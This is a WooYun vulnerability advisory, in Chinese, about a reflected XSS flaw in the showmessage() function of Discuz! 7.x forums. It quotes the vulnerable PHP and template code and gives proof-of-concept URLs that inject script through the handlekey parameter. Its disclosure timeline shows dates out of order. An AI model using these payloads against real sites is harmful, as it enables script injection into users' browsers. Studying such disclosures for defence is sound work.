当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084097

漏洞标题：Discuz!7.X系列一处问题可导致反射型XSS（大多文件均可触发）

相关厂商：Discuz!

漏洞作者： xfkxfk

提交时间：2014-11-24 11:14

修复时间：2014-12-31 11:16

公开时间：2014-12-31 11:16

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-23： 细节向核心白帽子及相关领域专家公开
2015-02-02： 细节向普通白帽子公开
2015-02-12： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

Discuz! 7.X系列一处问题引发大面积XSS，基本上全部页面和文件都能触发

详细说明：

亲测Discuz! 7.2,7.1,7.0三个版本都受影响
都是因为同一原因，导致可在全部页面触发xss漏洞
这里拿Discuz! 7.2做分析
比如Discuz! 7.2安装包里面的第二个文件就是ajax.php

define('CURSCRIPT', 'ajax');
define('NOROBOT', TRUE);
require_once './include/common.inc.php';
if($action == 'updatesecqaa') {
	$message = '';
	if($secqaa) {
		require_once DISCUZ_ROOT.'./forumdata/cache/cache_secqaa.php';
		$secqaa = max(1, random(1, 1));
		$message = $_DCACHE['secqaa'][$secqaa]['question'];
		if($seclevel) {
			$seccode = $secqaa * 1000000 + substr($seccode, -6);
			updatesession();
		} else {
			dsetcookie('secq', authcode($secqaa."\t".$timestamp."\t".$discuz_uid, 'ENCODE'), 3600);
		}
	}
	showmessage($message);


注意这里的最后一行的showmessage函数，我们跟进
include/global.func.php文件

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
	extract($GLOBALS, EXTR_SKIP);
	global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
	define('CACHE_FORBIDDEN', TRUE);
......
include language('messages');
	$vars = explode(':', $message);
	if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {
		eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");
	} elseif(isset($language[$message])) {
		$pre = $inajax ? 'ajax_' : '';
		eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
		unset($pre);
	}
	if(empty($infloat)) {
		$show_message .= $url_forward && empty($inajax) ? '<script>setTimeout("window.location.href =\''.$url_forward.'\';", '.$msgforward['refreshtime'].');</script>' : '';
	} elseif($handlekey) {
		$show_message = str_replace("'", "\'", $show_message);
		if($url_forward) {
			$show_message = "<script type=\"text/javascript\" reload=\"1\">\nif($('return_$handlekey')) $('return_$handlekey').className = 'onright';\nif(typeof submithandle_$handlekey =='function') {submithandle_$handlekey('$url_forward', '$show_message');} else {location.href='$url_forward'}\n</script>";
		} else {
			$show_message .= "<script type=\"text/javascript\" reload=\"1\">\nif(typeof messagehandle_$handlekey =='function') {messagehandle_$handlekey('$messagehandle', '$show_message');}\n</script>";
		}
	}
if($advlist = array_merge($globaladvs ? $globaladvs['type'] : array(), $redirectadvs ? $redirectadvs['type'] : array())) {
		$advitems = ($globaladvs ? $globaladvs['items'] : array()) + ($redirectadvs ? $redirectadvs['items'] : array());
		foreach($advlist AS $type => $redirectadvs) {
			$advlist[$type] = $advitems[$redirectadvs[array_rand($redirectadvs)]];
		}
	}
	if($extra == 'NOPERM') {
		include template('nopermission');
	} else {
		include template('showmessage');
	}
	dexit();
}


这里当$infloat和$handlekey不为空，都存在的话
将$show_message赋值，且$handlekey进入$show_message的内容中
最后include template('showmessage');
$show_message内容在showmessage.htm模板里面显示：

<script type="text/javascript" reload="1">
	function ajaxerror() {
		hideMenu();
		showDialog('$show_message', 'notice', '', null, 0);
	}
	ajaxerror();
	</script>


所以通过上面的分析，变量$handlekey进入$show_message的内容中时
只是过滤了单引号，但是在$show_message装那个并没有用到单引号保护变量
所以这里变量$handlekey就等于没有通过过滤直接最后显示在页面中了
这样就导致了xss漏洞
为什么前面会说全部页面都会触发咧
因为这里的函数showmessage，是一个全局的消息传递函数，基本上在所有的页面都会用
因为这是一个消息传递函数，无所谓登陆与否了，只要满足$infloat和$handlekey不为空，就能出发XSS漏洞
所有一个小问题却导致了整个系统都存在漏洞，这就不是小漏洞了

漏洞证明：

http://localhost/Discuz_7.2_FULL_SC_UTF8/admincp.php?infloat=yes&handlekey=123);alert(/xss/);//


1.png


http://localhost/Discuz_7.2_FULL_SC_UTF8/ajax.php?infloat=yes&handlekey=123);alert(/xss/);//


2.png


http://localhost/Discuz_7.2_FULL_SC_UTF8/announcement.php?infloat=yes&handlekey=123);alert(/xss/);//
http://localhost/Discuz_7.2_FULL_SC_UTF8/attachment.php?infloat=yes&handlekey=123);alert(/xss/);//
http://localhost/Discuz_7.2_FULL_SC_UTF8/member.php?infloat=yes&handlekey=123);alert(/xss/);//
等等......


其他的就不一一列举了

修复方案：

加个过滤即可

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-31 11:16

厂商回复：

最新状态：

暂无